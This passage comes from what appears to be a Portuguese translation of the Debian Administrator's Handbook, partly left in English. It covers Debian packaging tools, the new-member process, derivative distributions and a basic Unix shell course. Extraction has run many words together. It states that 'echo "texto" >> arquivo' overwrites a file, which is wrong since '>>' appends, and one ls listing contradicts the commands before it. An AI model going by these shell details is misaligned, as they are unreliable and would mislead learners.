que a política do Debian muda com otempo, lintian está algumas vezesdesatualizado). Também não éexaustiva: não receber nenhum erro noLintian não deve ser interpretada comoprova de que o pacote é perfeito; nomáximo, ele evita os erros maiscomuns.

15.4.1.3.2. devscripts

O pacote devscripts contém diversosprogramas que ajudam com uma vastagama do trabalho dos desenvolvedoresDebian:

debuild permite gerar um pacote(com dpkg-buildpackage) e

executando lintian para verificar acompatibilidade com a políticaDebian depois.debclean limpa um pacote fonteapós o pacote binário ter sidogerado.dch permite rapidamente efacilmente editar o arquivodebian/changelog num pacotefonte.uscan verifica se foi liberada umanova versão de um software peloautor; Isso requer umdebian/watch arquivo com umadescrição da localização de taislançamentos.debi permite a instalação (comdpkg -i) do pacote Debian que

acabou de ser gerado, e evitadigitar seu nome completo ecaminho.De uma maneira similar, debcpermite varrer o conteúdo de umpacote recentemente criado (comdpkg -c), sem a necessidade dedigitar o nome completo e ocaminho.bts controla o sistema de bug pelalinha de commando, esteprograma automaticamente gerae-mails apropriados.debrelease envia os pacotesrecém gerados a um servidorremoto, sem a necessidades dedigitar o nome completo e ocaminho do arquivo relacionado

.changes.debsign assina os arquivos *.dsce *.changes.uupdate automatiza a criação deuma nova revisão do pacotequando uma nova versão upstreamfoi lançada.

15.4.1.3.3. debhelper e dh-make

Debhelper is a set of scripts easing thecreation of policy-compliant packages;these scripts are invoked fromdebian/rules. Debhelper has beenwidely adopted within Debian, asevidenced by the fact that it is used bythe majority of official Debianpackages. All the commands it contains

have a dh_ prefix. Debhelper is mainlydeveloped by Joey Hess.

O roteiro dh_make (no pacote dh-make) cria arquivos necessários parageração de um pacote Debian em umdiretório inicialmente contendo osfontes do programa. Como você podeter adivinhado pelo nome do programa,o arquivo gerado usa por padrão oDebhelper.

ALTERNATIVA CDBS

cdbs é uma outra abordagem paraempacotamento Debian, baseadaexclusivamente em um sistema deherança através de arquivos Makefile.

That tool has its advocates, since it avoidsduplicating the same list of dh_*commands in the debian/rules file.However, Debhelper version 7 introducedthe dh command, which itself automatesthe appropriate sequence of calls to allthe individual commands in the correctorder, and CDBS has lost most of itsappeal since then.

15.4.1.3.4. dupload e dput

The dupload and dput commandsallow uploading a Debian package to a(possibly remote) server. This allowsdevelopers to publish their package onthe main Debian server (ftp-master.debian.org) so that it can be

integrated to the archive anddistributed by mirrors. Thesecommands take a *.changes file as aparameter, and deduce the otherrelevant files from its contents.

15.4.2. Processo deAceitaçãoTornar-se um desenvolvedor Debiannão é somente uma questãoadministrativa. O processo é feito emdiversas etapas, e é tanto uma iniciaçãoquando um processo seletivo. Em todocaso, o mesmo é formalizado e bemdocumentado, então qualquer um pode

verificar o progresso no site dedicadopara o processo de novos membros.

→ http://nm.debian.org/

EXTRA Processo leve para"Mantenedores Debian"

Recentemente foi introduzido um statusde "Mantenedor Debian". O processoassociado é mais rápido, e os privilégiosconcedidos por este estatuto são apenas osuficiente para manter os própriospacotes. Um desenvolvedor Debian sóprecisa executar uma verificação em umcarregamento inicial, e emitir umadeclaração para o efeito que eles confiamo mantenedor em prospectivo com acapacidade de manter o pacote por contaprópria.

15.4.2.1. Pré-requisitos

É esperado de todos os candidatos terao menos conhecimento da linguáinglesa. Isto é requerido em todos osníveis: para a comunicação inicial como examinador, é claro, mas mais tardetambém, já que o inglês é a linguápreferida pela maioria dos documentos;também, os usuários dos pacotes secomunicarão em inglês quandoreportando erros, e os mesmos esperamuma reposta em inglês.

Outro pré-requisito lida commotivação. Tornar-se um

desenvolvedor Debian é um processoque somente faz sentido se o candidatosabe que seu interesse no Debiandurará mais do que muitos meses. Oprocesso de aceitação em si deve durardiversos meses, e o Debian precisa dedesenvolvedores para um longo trajeto;cada pacote precisa de manutençãopermanente, e não somente uma versãoinicial.

15.4.2.2. Registrando

The first (real) step consists in findinga sponsor or advocate; this means anofficial developer willing to state thatthey believe that accepting X would bea good thing for Debian. This usually

implies that the candidate has alreadybeen active within the community, andthat their work has been appreciated. Ifthe candidate is shy and their work isnot publicly touted, they can try toconvince a Debian developer toadvocate them by showing their workin a private way.

At the same time, the candidate mustgenerate a public/private RSA key pairwith GnuPG, which should be signedby at least one official Debiandeveloper. The signature authenticatesthe name on the key. Effectively,during a key signing party, eachparticipant must show an identity cardtogether with their key identifiers. This

step makes the link between the humanand the keys official. This signaturethus requires meeting in real life. Ifyou have not yet met any Debiandevelopers in a public free softwareconference, you can explicitly seekdevelopers living nearby using the liston the following webpage as a startingpoint.

→ http://wiki.debian.org/Keysigning

Once the registration onnm.debian.org has been validated bythe advocate, an Application Manageris assigned to the candidate. Theapplication manager will, from thereon, follow procedures and validate the

various steps that the process includes.

A primeira verificação é umaverificação de identidade. Se você játiver uma chave assinada por doisdesenvolvedores Debian, este passo éfácil; caso contrário, o Gerenciador deaplicativos irá tentar e guiá-lo em suabusca para desenvolvedores Debian porperto para organizar um meet-up e umachave de assinatura. No início doprocesso, quando o número dedesenvolvedores era pequeno, haviauma exceção a este procedimento quepermitiu que esta etapa seja concluídacom uma varredura digital dedocumentos de identificação oficial;isso não é mais o caso.

15.4.2.3. Aceitando osPrincípios

These administrative formalities arefollowed with philosophicalconsiderations. The point is to makesure that the candidate understands andaccepts the social contract and theprinciples behind Free Software.Joining Debian is only possible if oneshares the values that unite the currentdevelopers, as expressed in thefounding texts (and summarized inChapter 1, O Projeto Debian).

Além disso, cada candidato quepretendem aderir fileiras Debian éesperar para saber o funcionamento do

projeto e como interagir de formaadequada para resolver os problemasque elas irão sem dúvida encontrar como passar do tempo. Toda estainformação geralmente estádocumentado nos manuais visando onovo mantenedor e em referência dodesenvolvedor Debian. Uma leituraatenta deste documento deve sersuficiente para responder a perguntasdo examinador. Se as respostas não sãosatisfatórias, o candidato seráinformado. Em seguida, ele terá que ler(novamente) a documentaçãopertinente antes de tentar novamente.Nos casos onde a documentaçãoexistente não contém a respostaadequada para a questão, o candidato

geralmente pode chegar a uma respostacom alguma experiência prática dentrodo Debian, ou potencialmente,discutindo com outros desenvolvedoresDebian. Esse mecanismo garante quecandidatos se envolver um pouco noDebian antes de se tornar parte integraldele. É uma política deliberada, porque candidatos que eventualmente seunem ao projeto integram-se comouma peça de um quebra-cabeçainfinitamente extensível.

This step is usually known as thePhilosophy & Procedures (P&P forshort) in the lingo of the developersinvolved in the new member process.

15.4.2.4. VerificandoHabilidades

Each application to become an officialDebian developer must be justified.Becoming a project member requiresshowing that this status is legitimate,and that it facilitates the candidate'sjob in helping Debian. The mostcommon justification is that beinggranted Debian developer status easesmaintenance of a Debian package, butit is not the only one. Some developersjoin the project to contribute to portingto a specific architecture, others wantto improve documentation, and so on.

This step represents the opportunity for

the candidate to state what they intendto do within the Debian project and toshow what they have already donetowards that end. Debian is a pragmaticproject and saying something is notenough, if the actions do not matchwhat is announced. Generally, when theintended role within the project isrelated to package maintenance, a firstversion of the prospective package willhave to be validated technically anduploaded to the Debian servers by asponsor among the existing Debiandevelopers.

COMUNIDADE Patrocinando

Debian developers can “sponsor”

packages prepared by someone else,meaning that they publish them in theofficial Debian repositories after havingperformed a careful review. Thismechanism enables external persons, whohave not yet gone through the newmember process, to contributeoccasionally to the project. At the sametime, it ensures that all packages includedin Debian have always been checked byan official member.

Finalmente, o examinador verificahabilidades de técnico (embalagem) docandidato com um questionáriodetalhado. Respostas ruins não sãopermitidas, mas o tempo de respostanão é limitado. Toda a documentaçãoestá disponível e várias tentativas são

permitidas se as primeiras respostasnão são satisfatórias. Esta etapa nãotem a intenção de discriminar, maspara garantir pelo menos um mínimode conhecimento comum para novoscolaboradores.

Este passo é conhecido como Tasks &Skills no jargão dos examinadores.

15.4.2.5. Aprovação Final

At the very last step, the whole processis reviewed by a DAM (DebianAccount Manager). The DAM willreview all the information about thecandidate that the examiner collected,and makes the decision on whether or

not to create an account on the Debianservers. In cases where extrainformation is required, the accountcreation may be delayed. Refusals arerather rare if the examiner does a goodjob of following the process, but theysometimes happen. They are neverpermanent, and the candidate is free totry again at a later time.

A decisão do DAM é autoritária e(quase sempre) sem apelo, o queexplica porque pessoas naquela posição(atualmente, Jörg Jaspert, ChristophBerg e Enrico Zini) foramfrequentemente criticados no passado.

Chapter 16. Conclusão:O Futuro doDebianA história da Falcot Corp termina comeste último capítulo; mas o Debiancontinua, e o futuro certamente trarámuitas surpresas interessantes.

16.1. Desenvolvimentosfuturos

Semanas (ou meses) antes de uma novaversão do Debian ser lançada, oGerente de Lançamentos escolhe umcodinome para a próxima versão.Agora que o Debian versão 6.0 saiu, osdesenvolvedores já estão ocupadostrabalhando na próxima versão,codinome Wheezy…

Não existe nenhuma lista de mudançasplanejadas, e o Debian nunca fazpromessas com relação a objetivostécnicos das próximas versões.Entretanto, após algumas tendências dedesenvolvimentos já podem sernotadas, e há muitas razões paraacreditar que as mesmas se tornarãoem resultados concretos na nova

versão.

O sistema de gerenciamento de pacotesirá ser apto a instalar pacotes dediversas arquiteturas no mesmosistema (isto é conhecido como"suporte a multiplataformas"). Isto irápermitir instalar aplicativos 32 bits emmáquina 64 bits, e vice-versa. Outroprojeto que vale a pena mencionar é oConstantly Usable Testing, queobjetiva rotular o Testing como umadistribuição oficialmente suportada quepossa ser recomendada para o públicogeral. O processo padrão "init"(sysvinit) deve ser substituído por umsistema mais moderno como o upstartou systemd.

Claro, que todas suítes de programasterão um lançamento mor. Por exemploWheezy incluirá a versão 3.x doGNOME, o qual traz uma profunda epromissora mudança no paradigmausual da interface gráfica.

16.2. Futuro doDebianAlém destes desenvolvimentosinternos, é esperado que novasdistribuições baseadas no Debianapareçam, graças ao crescimento empopularidade do debian-installer e suaflexibilidade. Novos subprodutosespecializados começarão, ampliandoos horizontes que o Debian alcança.

A comunidade Debian crescerá, enovos contribuidores se juntarão aoprojeto... incluindo, talvez, você!

O projeto Debian é mais forte do quenunca, e bem encaminhado em seuobjetivo em se tornar um distribuiçãouniversal; a piada interna dentro dacomunidade Debian é sobre WorldDomination.

Apesar da sua idade avançada e seutamanho respeitável, o Debian continuacrescendo em todas (algumas vezesinesperadas) as direções.Contribuidores estão repletos de ideias,e discussões na listas de e-mails dedesenvolvimentos, mesmo quando elasparecem insignificantes, continuamaumentando o impulso. O Debian àsvezes é comparado a um buraco negro,de tamanha densidade que qualquer

programa livre é atraído.

Além da aparente satisfação da maioriados usuários do Debian, uma profundatendência está se tornando mais e maisincontestável: as pessoas estãocrescentemente realizando que acolaboração, ao invés de fazer negóciossozinho, leva a melhores resultados.Tal é o raciocínio usado pordistribuições que estão fundindo-secom o Debian por meio de subprojetos.

O projeto Debian é, portanto, não éameaçado pela extinção...

16.3. O Futurodeste LivroNós gostaríamos que este livro evoluano espírito dos programas livres. Nósportanto damos boas-vindas acontribuições, sugestões, e críticas. Porfavor direcionem-nas a Raphaël(<[email protected]>) ou Roland(<[email protected]>). O site seráutilizado para recolher todasinformações relevantes a sua evolução.

→ http://debian-handbook.info/

Nós tentamos integrar o máximo do

que a nossa experiência com o Debiannos ensinou, de maneira que qualquerum possa usa essa distribuição e tirar omelhor proveito o mais rápidopossível, Nós esperamos que este livrocontribua para fazer o Debian menosconfuso e popular, e nós agradecemos apublicidade ao seu redor!

Nós gostaríamos de concluir com umanota pessoal. Escrever (e traduzir) estelivro tomou um tempo considerável dasnossas atividades profissionaiscorriqueiras. Já ambos somosconsultores autônomos, e qualquernova fonte de renda nos garante aliberdade de passar mais tempomelhorando o Debian; nós esperamos

que este livro seja um sucesso econtribua para isso. No meio tempo,sinta-se a vontade para contratar nossosserviços!

→ http://www.freexian.com→ http://www.gnurandal.com

Vejo vocês em breve!

Appendix A. DistribuiçõesDerivadasMuitas distribuições Linux sãoderivadas do Debian e as ferramentasde reutilização de gerenciamento depacotes do Debian. Todos eles têm suaspróprias propriedades interessantes, e épossível que uma delas va atender suasnecessidades melhor do que o próprioDebian.

A.1. Censo eCooperação

O projeto Debian reconheceplenamente a importância dedistribuições derivadas e apoiaativamente a colaboração entre todaspartes envolvidas. Isso geralmenteenvolve a fusão do retorno dasmelhorias desenvolvidas inicialmentepelas distribuições derivadas para quetodos possam beneficiar e a longoprazo, o trabalho de manutenção éreduzido.

Isso explica porque distribuiçõesderivadas são convidadas a se envolverem discussões sobre o [email protected]

mailing-list, e para participar do censoderivado. Este recenseamento visarecolher informações sobre o trabalho

que acontece em um derivado para queos mantenedores do Debian oficiaispossam controlar melhor o estado deseu pacote em variantes do Debian.

→ http://wiki.debian.org/DerivativesFrontDesk→ http://wiki.debian.org/Derivatives/Census

Vamos agora descrever brevemente asdistribuições mais interessantes epopulares derivadas.

A.2. UbuntuUbuntu espalhou bastante quandoentrou em cena do Software Livre, epor boas razões: Canonical Ltd., aempresa que criou esta distribuição,iniciou a contratação de trinta ímparesdesenvolvedores Debian e afirmoupublicamente o objetivo de longoalcance de proporcionar umadistribuição para o público em geralcom uma nova versão duas vezes porano. Eles também se comprometeram amanutenção de cada versão por um anoe meio tanto para o núcleo e quanto ade segurança relacionados aoscomponentes.

Estes objectivos envolvemnecessariamente uma redução doâmbito de aplicação; Ubuntu seconcentra em um número menor depacotes do Debian, e se baseiaprincipalmente na área de trabalhoGNOME (apesar de um derivadooficial do Ubuntu, chamada de"Kubuntu" , depender do KDE). Tudo éinternacionalizado e disponibilizadoem um grande número de línguas.

Até agora, o Ubuntu tem conseguidomanter este ritmo de liberação. Elestambém publicam lançamento deSuporte Longo Prazo (LTS), com apromessa de manutenção de 5 anos. Emabril de 2012, a versão atual é a versão

LTS 12,04, apelidado Precise Pangolin.A última versão não é LTS 11,10,apelidado de Oneiric Ocelot. Osnúmeros de versão descrevem a data delançamento: 11.10, por exemplo, foilançado em outubro de 2011.

Ubuntu atingiu uma vasta audiência nopúblico em geral. Milhões de usuáriosficaram impressionados com a suafacilidade de instalação, e o trabalhofoi fazendo o ambiente de trabalhomais simples de usar.

No entanto, nem tudo é fino e elegante,especialmente para os desenvolvedoresDebian que colocaram grandesesperanças no Ubuntu contribuindo

diretamente para o Debian. Mesmo queesta situação tenha melhorado ao longodos anos, muitos ficaram irritados pelomarketing da Canonical, o queimplicou Ubuntu eram bons cidadãosno mundo do Software Livre,simplesmente porque eles fizerampúblico as mudanças que secandidataram a pacotes Debian.Defensores do Software Livreentendem que um patch geradoautomaticamente é de pouca utilidadepara o processo de contribuição amontante. Começar um trabalho deintegração, exige a interação diretacom a outra parte.

Essa interação está se tornando mais

comum ao longo do tempo, graças emparte à comunidade Ubuntu e aosesforços que faz para educar os seusnovos colaboradores. Mas essa políticaainda não é reforçada pela Canonicalem seus funcionários. Algunsmantiveram fiéis às suas raízes, e nãofizeram o esforço necessário (ColinWatson, Martin Pitt e Matthias Klosesão notáveis a este respeito), masoutros - muitas vezes com excesso detrabalho - não podem mais encontrá-loneles.

→ http://www.ubuntu.com/

A.3. KnoppixA distribuição Knoppix mal precisa deuma introdução. Foi a primeiradistribuição popular a proporcionar umLiveCD, em outras palavras, um CD-ROM que executa um sistema Linux detransformação de chave sem anecessidade de um disco rígido -qualquer sistema já instalado namáquina será deixado intocado. Adetecção automática de dispositivosdisponíveis permite que essadistribuição trabalhe na maioria dasconfigurações de hardware. O CD-ROM inclui quase 2 GB de softwares(compactados).

Combinando este CD-ROM e umpendrive USB permite carregar seusarquivos com você, e trabalhar emqualquer computador sem deixarrastros - lembre-se que a distribuiçãonão usa o disco rígido em tudo.Knoppix se baseia principalmente emLXDE (um desktop gráfico leve), masmuitas outras distribuições fornecemoutras combinações de desktops esoftware. Isto é, em parte, possívelgraças ao pacote Debian live-build quetorna relativamente fácil criar umLiveCD.

→ http://live.debian.net/

Note que o Knoppix também fornece

um instalador: você pode tentarprimeiro a distribuição como umLiveCD e instalá-lo em um disco rígidopara obter um melhor desempenho.

→ http://www.knopper.net/knoppix/index-en.html

A.4. Linux MintLinux Mint é (em parte) mantido pelacomunidade de distribuição, apoiadapor doações e propagandas. Seuprincipal produto é baseado no Ubuntu,mas também proporciona uma "EdiçãoLinux Mint Debian" variante queevolui continuamente (como ele ébaseado no Debian Testing). Em ambosos casos, a instalação inicial envolve ainicialização de um LiveDVD.

A distribuição tem por objectivosimplificar o acesso às tecnologiasavançadas, e fornecer específicasinterfaces gráficas de usuário no topo

do software usual. Por exemplo,embora o Linux Mint conte com oGNOME, ele fornece um sistema demenu diferente, do mesmo modo, ainterface de gerenciamento de pacotes,embora baseada em APT, fornece umainterface específica com uma avaliaçãodo risco de cada atualização do pacote.

Linux Mint inclui uma grandequantidade de softwares proprietáriospara melhorar a experiência deusuários que podem precisar deles. Porexemplo: Adobe Flash e codecsmultimídia.

→ http://www.linuxmint.com/

A.5. SimplyMEPISSimplyMEPIS é uma distribuiçãocomercial muito semelhante aoKnoppix. Ele fornece um sistema dechaves Linux a partir de um LiveCD, einclui uma série de pacotes de softwarenão-livres: drivers das placas de vídeo,nVidia Flash para animaçõesembutidas em muitos sites, RealPlayer,Java da Sun, e assim por diante. Oobjetivo é proporcionar um sistema de100% de trabalho para fora da caixa.Mepis é internacionalizado e lida commuitas línguas.

→ http://www.mepis.org/

Esta distribuição foi originalmentebaseada no Debian, foi para o Ubuntupor um tempo, depois voltou para adistribuição estável do Debian, quepermite que seus desenvolvedores seconcentrem em adicionarfuncionalidades sem a necessidade deestabilizar os pacotes vindos dadistribuição Debian Instável.

A.6. Aptosid(AnteriormenteSidux)Esta distribuição baseada nacomunidade acompanha as alteraçõesno Debian Sid (Instável) - daí o seunome - e tenta lançar 4 novas versões acada ano. As modificações sãolimitadas em escopo: o objetivo éfornecer o software mais recente eatualizar os drivers para o hardwaremais recente, enquanto ainda permiteaos usuários alternar de volta para adistribuição Debian oficial a qualquer

momento.

→ http://aptosid.com

A.7. Damn SmallLinuxEsta distribuição fornece umminúsculo LiveCD, pesando apenas 50MB, de modo que possa caber em umCD-ROM com a forma e o tamanho deum cartão de visitas. Para alcançarisso, Damn Small Linux inclui somenteferramentas de software leves. Istopode ser interessante para utilizar umsistema parecido com o Debian em umcomputador antigo.

→ http://www.damnsmalllinux.org/

A.8. E Muito MaisO site Distrowatch referencia umnúmero enorme de distribuições Linux,muitas das quais são baseadas noDebian. Navegar neste site é uma ótimamaneira de ter uma noção dadiversidade no mundo do SoftwareLivre.

→ http://distrowatch.com

O formulário de pesquisa pode ajudar arastrear uma distribuição baseada emsua ancestralidade. Em janeiro de 2012,Debian levou a 141 distribuiçõesativas!

→ http://distrowatch.com/search.php

Appendix B. Cursode Curta DuraçãoMesmo que este livro tenha como alvoprincipalmente administradores desistemas e "usuários experientes", nósnão gostariamos de excluir osiniciantes motivados. Este apêndice,será, portanto, um curso intensivo quedescreve os conceitos fundamentaisenvolvidos na operação de umcomputador com Unix.

B.1. Shell e

Comandos BásicosNo mundo Unix, todo administrador desistemas terá que usar linha decomandos, mais cedo ou mais tarde;por exemplo, quando o sistema falhapara carregar corretamente e somentelinhas de comando é recebido no modode recuperação. Ser capaz de trabalharcom esta interface, portanto, é umahabilidade de sobrevivência básica paraestas circunstâncias.

QUICK LOOK Iniciando o interpretadorde comando

O ambiente de linha de comando pode ser

usado a partir do ambiente gráfico docomputador, através de uma aplicaçãoconhecida como "terminal", tais como asferramentas encontradas sob Aplicações→ Acessórios no meno do Gnome, e em K→ Aplicações → Sistema no ambienteKDE.

Esta seção só dá uma olhada rápida noscomandos. Todos eles têm muitasopções não descritas aqui, portanto,eles também têm vasta documentaçãonas suas respectivas páginas demanual.

B.1.1. Navegando naÁrvore de Diretórios e

Gestão de ArquivosUma vez que uma sessão é aberta, ocomando pwd (print workingdirectory) mostra a localização atualdo sistema de arquivos. O diretórioatual é alterada com o comando cd cd(cd é para alterar de diretório changedirectory). O diretório pai é semprechamado .. (dois pontos), enquanto odiretório atual também é conhecidocomo . (ponto). O ls permite listar oconteúdo de um diretório. Se nenhumparâmetro é dado, ele opera nodiretório atual.

$ pwd

/home/rhertzog

$ cd Desktop

$ pwd

/home/rhertzog/Desktop

$ cd .

$ pwd

/home/rhertzog/Desktop

$ cd ..

$ pwd

/home/rhertzog

$ ls

Desktop Downloads Pictures Templates

Documents Music Public Videos

Um novo diretório pode ser criado comomkdirdiretório, e um diretório(vazio) existente pode ser removidocom rmdirdiretório . O comando mvmv permite mover e / ou renomeararquivos e diretórios; remover umarquivo envolve rm arquivo .

$ mkdir test

$ ls

Desktop Downloads Pictures Templates Videos

Documents Music Public test

$ mv test new

$ ls

Desktop Downloads new Public Videos

Documents Music Pictures Templates

$ rmdir new

$ ls

Desktop Downloads Pictures Templates Videos

Documents Music Public test

B.1.2. Mostrando eModificante ArquivosTexto

O comando catarquivo (destina-se aconcatenar arquivos em sua saídapadrão) lê um arquivo e exibe seuconteúdo no terminal. Se o arquivo émuito grande para ser ajustado na tela,use um paginador como o less (oumore) para exibir o conteúdo págiana apágina.

O editor editor sempre aponta para umeditor de texto (como ovi ou onano) epermite criar, modificar e ler arquivosde texto. Os arquivos mais simples àsvezes podem ser criados diretamente apartir do interpretador de comandosgraças ao redirecionamento: echo "texto" >> arquivo cria um arquivochamado arquivo substituível com

"texto " como o seu conteúdo.Adicionar uma linha no final destearquivo também é possível, com umcomando como echo "linha">>arquivo.

B.1.3. ProcurandoArquivos e nosArquivosO comando finddiretóriocritériosprocura por arquivos embaixo dahierarquia de diretório de acordocom vários critérios. A maioria doscritérios mais comuns -namename:permite procurar por um arquivos pelo

seu nome.

O comando grep expressionarquivos procura por conteudos nosarquivos e extrai as linhascorrespondentes nas expressão regular(veja na barra lateral BACK TO BASICSRegular expression). Adicionando aopção -r habilita a procura recursivaem todos os arquivos contidos nodiretório passado como um parâmetro.Isto permite procura por um arquivoquando somente um aparte do conteúdoé conhecido.

B.1.4. GerenciandoProcessos

O comando ps aux lista os processosrodando atualmente e permiteidentificá-los pelo pid (identificador doprocesso).Uma vez que o processopid éconhecido, o comando kill -signalpidpermite enviar um sinal (este processoprecisa pertencer ao usuário corrente).Existem muitos sinais; os mais usadoscomumente são TERM (uma requisiçãopara terminar) e KILL (matar oprocesso à força).

O interpretador de comando tambémpode rodar programas em segundoplano se o comando terminar com “&”.Ao utilizar o "e comercial", o usuárioretorna o controle para o shellimediatamente desde que o comando

continue rodando (oculto para ousuário; como um processo emsegundo plano). O comando jobs listaos trabalhos rodando em segundoplano; executando fg %número do

trabalho (para foreground) restaura otrabalho para o primeiro plano. Quandoum comando está rodando, estas teclasControl+Z interrompe os processos eretorna o controle para a linha decomando. Os processos também podemser restartados em segundo plano como comando bg %numero do processo

(para background.

B.1.5. Informações doSistema: Memória,

Espaço em Disco,IdentidadeO comando free exibe informaçõessobre a memória; o df(disk free) exiberelatórios sobre o espaço disponível nodisco em cada um dos discos montadosno sistema de arquivo. A opção -h(para leitura humana converte ostamanhos para uma unidade maislegível). De um modo semelhante, ofree entende as opções -m e -g, emostra estes dados tanto em megabytesou em gigabytes, respectivamente.

$ free

total used free shared buffers cached

Mem: 1028420 1009624 18796 0 47404 391804

-/+ buffers/cache: 570416 458004

Swap: 2771172 404588 2366584

$ df

Filesystem 1K-blocks Used Available Use% Mounted on

/dev/sda2 9614084 4737916 4387796 52% /

tmpfs 514208 0 514208 0% /lib/init/rw

udev 10240 100 10140 1% /dev

tmpfs 514208 269136 245072 53% /dev/shm

/dev/sda5 44552904 36315896 7784380 83% /home

O comando id exibe a identidade dousuário em execução na seção,juntamente com a lista de grupos a quepertencem. Uma vez que o acesso aalguns arquivos ou dispositivos podeser limitada aos membros do grupo,verificando os membros do grupo

disponível pode ser útil.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organizaçãodo Sistema deArquivosHierárquico

B.2.1. O DiretórioRaizUm sistema Debian é organizado aolongo da File Hierarchy Standard(FHS). Esta norma define a finalidadede cada diretório. Por exemplo, as

listas de nível superior são descritoscomo se segue:

/bin/: programas básicos;/boot/: núcleo Linux e outrosarquivos necessários para o seuprocesso de inicializaçãoprematuro;/dev/: arquivos de dispositivo;/etc/: Arquivos de configuração;/home/: arquivos pessoais dousuário;/lib/: bibliotecas básicas;/media/*: pontos de montagempara dispositivos removíveis (CD-ROM, pendrivers e assim pordiante);/mnt/: ponto de montagem

temporário;/opt/: aplicações extrasfornecidas por terceiros;/root/: arquivos pessoais doadministrador (root);/sbin/: programas do sistema;/srv/: dados utilizados porservidores hospedados nestesistema;/tmp/: arquivos temporários, estediretório é comumente limpo nainicialização;/usr/: applications; this directoryis further subdivided into bin,sbin, lib (according to the samelogic as in the root directory).Furthermore, /usr/share/contains architecture-independent

data. /usr/local/ is meant to beused by the administrator forinstalling applications manuallywithout overwriting files handledby the packaging system (dpkg)./var/: dados variáveismanipulados por deamons. Istoincluí arquivos de sessão, filas,spools, caches e por aí vai./proc/ e /sys/ são específicos donúcleo Linux ( e não fazem partedo FHS). Eles são usados pelonúcleo para exportar informaçãopara o espaço de usuário.

B.2.2. O DiretórioOrigem do Usuário

The contents of a user's home directoryis not standardized, but there are still afew noteworthy conventions. One isthat a user's home directory is oftenreferred to by a tilde (“~”). That isuseful to know because commandinterpreters automatically replace atilde with the correct directory (usually/home/user/).

Application configuration files areoften stored directly under the user'shome directory, but their namesusually start with a dot (for instance,the mutt email client stores itsconfiguration in ~/.muttrc).Filenames that start with a dot arehidden by default, and ls only lists

them when the -a option is used.

Some programs use multipleconfiguration files organized in onedirectory (for instance,~/.evolution/). Some applications(such as the Iceweasel web browser)also use their directory to store a cacheof downloaded data. This means thatthose directories can end up using a lotof disk space.

Graphical desktops usually display thecontents of the ~/Desktop/ directory(or ~/Bureau/ or whatever theappropriate translation is for systemsnot configured in English) on thedesktop (ie, what's visible on screen

once all applications are closed oriconized).

Finalmente, o sistema de e-mail àsvezes armazena e-mails recebidos nodiretório ~/Mail/.

B.3. FuncionamentoInterno de umComputador: asDiferentesCamadasEnvolvidasA computer is often considered assomething rather abstract, and theexternally visible interface is muchsimpler than its internal complexity.Such complexity comes in part from

the number of pieces involved.However, these pieces can be viewed inlayers, where a layer only interactswith those immediately above orbelow.

An end-user can get by withoutknowing these details… as long aseverything works. When confronting aproblem such as, “The internet doesn'twork!”, the first thing to do is toidentify in which layer the problemoriginates. Is the network card(hardware) working? Is it recognizedby the computer? Does the Linuxkernel see it? Are the networkparameters properly configured? Allthese questions isolate an appropriate

layer and focus on a potential source ofthe problem.

B.3.1. A Camada maisProfunda: oHardwareLet us start with a basic reminder that acomputer is, first and foremost, a set ofhardware elements. There is generallya main board, with one (or more)processor(s), some RAM, devicecontrollers, and extension slots foroption boards (for other devicecontrollers). Most noteworthy amongthese controllers are IDE (Parallel

ATA), SCSI and Serial ATA, forconnecting to storage devices such ashard disks. Other controllers includeUSB, which is able to host a greatvariety of devices (ranging fromwebcams to thermometers, fromkeyboards to home automationsystems) and IEEE_1394 (Firewire).These controllers often allowconnecting several devices so thecomplete subsystem handled by acontroller is therefore usually known asa “bus”. Option boards includegraphics cards (where monitor screenswill be plugged in to), sound cards,network interface cards, and so on.Some main boards are pre-built withthese features, and don't need option

boards.

NA PRÄTICA Verificando se o hardwarefunciona

Verificar se um hardware estáfuncionando pode ser complicado. Muitoembora, provar que o mesmo nãofunciona às vezes é bem simples.

A hard disk drive is made of spinningplatters and moving magnetic heads.When a hard disk is powered up, theplatter motor makes a characteristic whir.It also dissipates energy as heat.Consequently, a hard disk drive that stayscold and silent when powered up isbroken.

Network cards often include LEDsdisplaying the state of the link. If a cable

is plugged in and leads to a workingnetwork hub or switch, at least one LEDwill be on. If no LEDs lights, either thecard itself, the network device, or thecable between them, is faulty. The nextstep is therefore testing each componentindividually.

Some option boards — especially 3Dvideo cards — include cooling devices,such as heat sinks and/or fans. If the fandoes not spin even though the card ispowered up, a plausible explanation is thecard overheated. This also applies to themain processor(s) located on the mainboard.

B.3.2. O Inicializador:

a BIOSHardware, on its own, is unable toperform useful tasks without acorresponding piece of softwaredriving it. Controlling and interactingwith the hardware is the purpose of theoperating system and applications.These, in turn, require functionalhardware to run.

This symbiosis between hardware andsoftware does not happen on its own.When the computer is first powered up,some initial setup is required. This roleis assumed by the BIOS, a tiny piece ofsoftware embedded into the main board

that runs automatically upon power-up.Its primary task is searching forsoftware it can hand over control to.Usually, this involves looking for thefirst hard disk with a boot sector (alsoknown as the master boot record orMBR), loading that boot sector, andrunning it. From then on, the BIOS isusually not involved (until the nextboot).

TOOL Setup, the BIOS configurationtool

The BIOS also contains a piece ofsoftware called Setup, designed to allowconfiguring aspects of the computer. Inparticular, it allows choosing which bootdevice is preferred (for instance, the

floppy disk or CD-ROM drive), settingthe system clock, and so on. StartingSetup usually involves pressing a keyvery soon after the computer is poweredon. This key is often Del or Esc,sometimes F2 or F10. Most of the time,the choice is flashed on screen whilebooting.

The boot sector, in turn, containsanother tiny piece of software, calledthe bootloader, whose purpose is tofind and run an operating system. Sincethis bootloader is not embedded in themain board but loaded from disk, it canbe smarter than the BIOS, whichexplains why the BIOS does not loadthe operating system by itself. For

instance, the bootloader (often GRUBon Linux systems) can list the availableoperating systems and ask the user tochoose one. Usually, a time-out anddefault choice is provided. Sometimesthe user can also choose to addparameters to pass to the kernel, and soon. Eventually, a kernel is found,loaded into memory, and executed.

The BIOS is also in charge of detectingand initializing a number of devices.Obviously, this includes the IDE/SATAdevices (usually hard disk(s) andCD/DVD-ROM drives), but also PCIdevices. Detected devices are oftenlisted on screen during the bootprocess. If this list goes by too fast, use

the Pause key to freeze it for longenough to read. Installed PCI devicesthat don't appear, are a bad omen. Atworst, the device is faulty. At best, it ismerely incompatible with the currentversion of the BIOS or main board. PCIspecifications evolve, and old mainboards are not guaranteed to handlenewer PCI devices.

